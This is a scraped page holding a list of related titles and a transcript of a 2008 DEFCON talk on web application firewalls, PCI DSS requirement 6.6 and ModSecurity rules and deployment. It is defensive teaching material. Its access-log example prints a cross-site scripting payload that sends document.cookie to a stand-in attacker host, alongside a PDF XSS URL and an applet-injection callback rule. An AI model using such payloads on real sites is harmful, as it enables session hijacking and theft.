The Wide World of WAFs



Similar documents
Web Application Firewall Technology Insight OWASP 22/ The OWASP Foundation. Joakim Sandström Role: OWASP Prospect.

How To Protect A Web Application From Attack From A Trusted Environment

Information Supplement: Requirement 6.6 Code Reviews and Application Firewalls Clarified

Where every interaction matters.

Mingyu Web Application Firewall (DAS- WAF) All transparent deployment for Web application gateway

We protect you applications! No, you don t. Digicomp Hacking Day 2013 May 16 th 2013

Implementation of Web Application Firewall

The New PCI Requirement: Application Firewall vs. Code Review

Guidelines for Web applications protection with dedicated Web Application Firewall

STOPPING LAYER 7 ATTACKS with F5 ASM. Sven Müller Security Solution Architect

Playing with Web Application Firewalls

Imperva s Response to Information Supplement to PCI DSS Requirement Section 6.6

Web Application Firewalls: What the vendors do NOT want you to know. The OWASP Foundation

Web Application Security. Radovan Gibala Senior Field Systems Engineer F5 Networks

ASL IT Security Advanced Web Exploitation Kung Fu V2.0

Adobe Systems Incorporated

NSFOCUS Web Application Firewall White Paper

Integrating Web Application Security into the IT Curriculum

Web Application Firewalls: What the vendors do NOT want you to know SHAKACON III

Contemporary Web Application Attacks. Ivan Pang Senior Consultant Edvance Limited

(WAPT) Web Application Penetration Testing

WHITE PAPER. FortiWeb and the OWASP Top 10 Mitigating the most dangerous application security threats

Detecting and Exploiting XSS with Xenotix XSS Exploit Framework

Barracuda Web Application Firewall vs. Intrusion Prevention Systems (IPS) Whitepaper

Web Application Firewalls: When Are They Useful? OWASP AppSec Europe May The OWASP Foundation

PCI-DSS Penetration Testing

What is Web Security? Motivation

Web Application Firewall Profiling and Evasion. Michael Ritter Cyber Risk Services Deloitte

WEB APPLICATION FIREWALLS: DO WE NEED THEM?

PCI Requirements Coverage Summary Table

Security Testing For RESTful Applications

Playing with Web Application Firewalls

Application Security Testing

EVADING ALL WEB-APPLICATION FIREWALLS XSS FILTERS

SESSION IDENTIFIER ARE FOR NOW, PASSWORDS ARE FOREVER

ETHICAL HACKING APPLICATIO WIRELESS110 00NETWORK APPLICATION MOBILE MOBILE0001

Intrusion detection for web applications

10 Things Every Web Application Firewall Should Provide Share this ebook

Application Layer Encryption: Protecting against Application Logic and Session Theft Attacks. Whitepaper

Securing Web Apps with NGINX

Arrow ECS University 2015 Radware Hybrid Cloud WAF Service. 9 Ottobre 2015

Web Application Penetration Testing

Cracking the Perimeter via Web Application Hacking. Zach Grace, CISSP, CEH January 17, Mega Conference

Importance of Web Application Firewall Technology for Protecting Web-based Resources

Web Application Security

Out of the Fire - Adding Layers of Protection When Deploying Oracle EBS to the Internet

Application Security: What Does it Take to Build and Test a Trusted App? John Dickson, CISSP Denim Group

Application Security Best Practices. Wally LEE Principal Consultant

PCI Requirements Coverage Summary Table

ModSecurity The Open Source Web Application Firewall

Passing PCI Compliance How to Address the Application Security Mandates

Web Application Hacking (Penetration Testing) 5-day Hands-On Course

Advancements in Botnet Attacks and Malware Distribution

Are you fighting new threats with old weapons? Secure your Web applications with Web Application Firewalls.

Using Free Tools To Test Web Application Security

SSL BEST PRACTICES OVERVIEW

Web Application Security 101

Web Application Attacks and Countermeasures: Case Studies from Financial Systems

Some Notes on Web Application Firewalls

Magento Security and Vulnerabilities. Roman Stepanov

Powerful, customizable protection for web applications and websites running ModSecurity on Apache/Linux based web-servers

Information Technology Policy

[state of the internet] / SEO Attacks. Threat Advisory: Continuous Uptick in SEO Attacks

elearning for Secure Application Development

IT Security & Compliance. On Time. On Budget. On Demand.

WAFFle: Fingerprinting Filter Rules of Web Application Firewalls

Web Application Security Assessment and Vulnerability Mitigation Tests

White Paper Secure Reverse Proxy Server and Web Application Firewall

Imperva Cloud WAF. How to Protect Your Website from Hackers. Hackers. *Bots. Legitimate. Your Websites. Scrapers. Comment Spammers

Secure Web Application Coding Team Introductory Meeting December 1, :00 2:00PM Bits & Pieces Room, Sansom West Room 306 Agenda

WHITE PAPER FORTIWEB WEB APPLICATION FIREWALL. Ensuring Compliance for PCI DSS 6.5 and 6.6

ARE YOU REALLY PCI DSS COMPLIANT? Case Studies of PCI DSS Failure! Jeff Foresman, PCI-QSA, CISSP Partner PONDURANCE

Web Intrusion Detection with ModSecurity. Ivan Ristic

Honeypot that can bite: Reverse penetration

A Server and Browser-Transparent CSRF Defense for Web 2.0 Applications. Slides by Connor Schnaith

From the Bottom to the Top: The Evolution of Application Monitoring

WHITE PAPER. FortiWeb Web Application Firewall Ensuring Compliance for PCI DSS 6.5 and 6.6

NEXPOSE ENTERPRISE METASPLOIT PRO. Effective Vulnerability Management and validation. March 2015

PCI-DSS and Application Security Achieving PCI DSS Compliance with Seeker

Cloud Security Through Threat Modeling. Robert M. Zigweid Director of Services for IOActive

The Top Web Application Attacks: Are you vulnerable?

Creating Stronger, Safer, Web Facing Code. JPL IT Security Mary Rivera June 17, 2011

Table of Contents. Page 2/13

Web Application Attacks And WAF Evasion

PCI Assessments 3.0 What Will the Future Bring? Matt Halbleib, SecurityMetrics

Web Application Firewalls Evaluation and Analysis. University of Amsterdam System & Network Engineering MSc

ASL IT SECURITY BEGINNERS WEB HACKING AND EXPLOITATION

CS 665: Computer System Security. Network Security. Usage environment. Sources of vulnerabilities. Information Assurance Module

Semantic based Web Application Firewall (SWAF V 1.6) Operations and User Manual. Document Version 1.0

FortiWeb for ISP. Web Application Firewall. Copyright Fortinet Inc. All rights reserved.

Reducing Application Vulnerabilities by Security Engineering

PCI PA - DSS. Point BKX Implementation Guide. Version Atos Xenta, Atos Xenteo and Atos Yomani using the Point BKX Payment Core

CONTENTS. PCI DSS Compliance Guide

RIA SECURITY TECHNOLOGY

Application security testing: Protecting your application and data

CS 558 Internet Systems and Technologies

Transcription:

The Wide World of WAFs Ben Feinstein, CISSP GCFA SecureWorks Counter Threat Unit DEFCON 16 August 8, 2008

What s In This Talk? Web Application Firewalls (WAFs) PCI Data Security Standard Requirement 6.6 Why should you care? ModSecurity Concepts Core Rules ModSecurity WAF Live Demos Reverse Proxy Embedded Content Injection in Response to Attack

Web Application Firewalls (WAFs) The Basics Firewall operating at the web application layer Hardware or Software Fluent in many tongues HTTP / HTTPS XML SOAP XML-RPC WS-* Performs normalization / de-obfuscation Detects attacks Blocks attacks Rewrites / Modifies requests and responses

ModSecurity Web App Firewalls The Basics Apache dynamically loadable module Dual License Community Edition - GPLv2 Commercial License Created by Ivan Ristic Commercialized by Breach Security Core Rules released under GPLv2

Meet the Payment Card Industry! Why Should You Care? I apologize in advance if I bore you PCI is driving adoption of WAF (and Web App Vulnerability Scanning) Pentesters (i.e. QSAs): PCI will drive your business. You will need to be familiar with WAFs to evaluate and subvert them. IT Security: You will be deploying WAFs because of PCI Blackhats: You will be subverting WAFs for fun and profit!

Meet the Payment Card Industry! Terminology Lots of new acronyms, yea! PCI Security Standards Council (PCI) PCI Data Security Standard (PCI DSS) Other PCI security standards exist PIN Entry Devices (PEDs) Payment Application Data (PA-DSS) Qualified Security Assessors (QSAs) Approved Scanning Vendors (ASVs)

PCI Data Security Standard v1.1 The Basics Build and Maintain a Secure Network Protect Cardholder Data Maintain a Vulnerability Management Program Implement Strong Access Control Measures Regularly Monitor and Test Networks Maintain an Information Security Policy

PCI DSS Application / System Security Requirement 6 R6. "Develop & maintain secure systems and applications" R6.6. "Ensure that all web-facing applications are protected against known attacks by applying either of the following methods: Having all custom application code reviewed for common vulnerabilities by an organization that specializes in application security Installing an application layer firewall in front of webfacing applications. Note: This method is considered a best practice until June 30, 2008, after which it becomes a requirement."

PCI Data Security Standard What Does All This Really Mean? A way to reassign legal liability QSA assumes unlimited liability? (IANAL) Compliance rationale for bigger IT security budgets An economically dictated race to the bottom for ASVs?

PCI Data Security Standard An economically dictated race to the bottom for ASVs? Cost of a PCI ASV's Solution vs. that Solution's Ability to Find Issues (its Quality) vs. Cost of Remediating the Identified Findings vs. Loss Expectancy Due to Unidentified Issues vs. Loss Expectancy Due to Unremediated Issues No market differentiator between a PCI stamp of approval granted by ASVs of varying quality!

ModSecurity Concepts Virtual Patching / Just-In-Time Patching Postive Security Model Input Validation Envelope Negative Security Model Enumerate the bad stuff Difficult to achieve the "positive input validation envelope" in the real-world! "When you know nothing, permit-all is the only option. When you know something, default-permit is what you can and should do. When you know everything, default-deny becomes possible, and only then." Richard Bejtlich(?), quoted in WhiteHat Security WP WAF061708

More ModSecurity Concepts Processing Phases Request Headers Request Body Response Headers Response Body Logging / Action

More ModSecurity Concepts Transformations Can be nested / run in serial Replace Comments SQLi URL Encode / Decode Hex Encode / Decode JavaScript Decode HTML Entity Decode Uppercase / Lowercase MD5 / SHA1 Normalize Paths

ModSecurity Core Rules HTTP protocol protection RFCs Defined policy Common Web Attack Protections XSS, SQLi, CSRF, HTTP Response Splitting Automation Detection Bots, web crawlers, web scanners Trojan Protection Server Error Hiding / DLP Mask errors sent by the server Data Loss Prevention

ModSecurity Rule Language Keywords Request (a few important keywords) REQUEST_METHOD REQUEST_URI REQUEST_FILENAME QUERY_STRING REQUEST_HEADERS REQUEST_BODY Response (a few important keywords) RESPONSE_STATUS RESPONSE_BODY RESPONSE_HEADERS RESPONSE_CONTENT_TYPE RESPONSE_CONTENT_LENGTH

ModSecurity v2.5 Highlights Content Injection "prepend" and "append" Embed one of Billy Hoffman's JS payloads in response to attack? Aho-Corasick pattern matching algorithm Improved performance when matching on large sets of patterns Cached transformations GeoIP lookup Use as matching criteria in rules

More ModSecurity v2.5 Highlights Credict Card verification on the wire @verifycc rule operator, takes a regexp argument Luhn checksum algorithm PDF Universal XSS Protection http://www.example.com/file.pdf#a=javascript:alert('p0 wn3d') All PDFs on protected site get a one-time use URI Redirects visitors to the PDF Flushes any malicious JS in client's browser session Full Lua scripting w/ SecRuleScript directive Used to create more complex rules in Lua

ModSecurity Web App Firewall Deployment Scenarios Embedded Installed within Apache instance hosting site Reverse Proxy Use Apache mod_proxy Traffic is redirected to flow through WAF DNS configuration Network-layer redirection Could be hosted "in the cloud" Supports use of Apache Virtual Hosts

Embedded Deployment Site Visitor Apache Web Server www.example.com VirtualHost ModSecurity DocumentRoot

Embedded Deployment Attacker Apache Web Server www.example.com VirtualHost ModSecurity DocumentRoot

ModSecurity Embedded Deployment Live Demo

Reverse Proxy Deployment WAF HTTP Request Site Visitor Web Server

Reverse Proxy Deployment HTTP Response Request WAF HTTP Request HTTP Response Site Visitor Web Server

ModSecurity Reverse Proxy Deployment Live Demo

ModSecurity Content Injection Credit to David (DKZA) Kierznowski, GNUCITIZEN http://www.gnucitizen.org/blog/content-injection-hackthe-hacker/ Inject code snippets Defense Hijacking JS functions Redefine alert() with a Logger A looking glass into client's browser

Content Injection An Example The following rule will inject a Java Applet MyAddress will force attacker's browser to callback to us Reveals IP of the attacking host Works despite NAT Good, we might be only seeing IP of WAF in server log

Content Injection The Rules SecContentInjection On SecDefaultAction "log,deny,phase:2,status:500,t:none,setvar:tx.alert=1" SecRule TX:ALERT "@eq 1" \ "phase:3,nolog,pass,chain,prepend:'<applet\ code=\"myaddress.class\" width=0 height=0> \ <param name=\"url\" value=\"grab_ip.php?ip=\"> \ <param name=\"action\" value=\"auto\"> \ </applet>' " SecRule RESPONSE_CONTENT_TYPE "^text/html"

Content Injection Apache Access Log Below is a snippet from Apache access_log on the server Reverse Proxy WAF has IP address is 10.0.0.10 Attacker IP is 172.16.0.20 10.0.0.10 - - [30/May/2008:13:47:11-0400] "GET /cgibin/foo.cgi?param=<script>document.write('<img%20 src="http://hackersite/'+document.cookie+'"')</script> HTTP/1.1" 500 676 10.0.0.10 - - [30/May/2008:13:47:11-0400] "GET /cgibin/grab_ip.php?ip=172.16.0.20 HTTP/1.1" 404 207

VA + WAF =??? + Profit!!! "The Dream" Automated webapp vulnerability assessment (i.e., scanning) instantly mitigates identified flaws through automagic deployment of rules to WAFs. Until recently, not really feasible Web App VA generated too many false postives Web App VA generated too many duplicates WAFs suffered under too many FPs and duplicates Vendors are trying again

Limitations of WAFs It s Just A Tool, Not A Silver Bullet Insecure Session Handling / Potential Cookie Tampering WAF can perform transparent cookie encryption/decryption Flaws in Business Logic Reliance on a predictable "random" number in URL to provide authentication and authorization Can be solved with a WAF performing "URL encryption" Similar to ModSecurity protection against Universal PDF XSS Many flaws in business logic are very difficult to detect w/ automated tools and difficult to mitigate with a tool like a WAF

The Future Some Closing Thoughts Vendors will continue to add WAF-like functionality Load Balancers Firewalls IPS and UTM devices WAF-like funtionality being wrapped into malware Many already contain SOCKS proxy functionality Rogue / Malicious WAF Attacks WPAD-like attack vectors? WAF Poisoning? More WAF Bypass Vulnerabilities

A Plug WAFs from a attacker's perspective "Playing with Web Application Firewalls" Wendel Guglielmetti Henrique Fri 15:00-15:50, Track 2 How to detect, fingerprint, and evade WAFs I learned some stuff just reading the slides

Thanks to DT, the Goons and everyone who made DEFCON a reality this year!

Greetz to DC404, Atlanta's DC Group! Speakers: dr.kaos, Carric, David Maynor, Scott Moulton & Adam Bregenzer And our very own Goon, dc0de!

Questions? bfeinstein@secureworks.com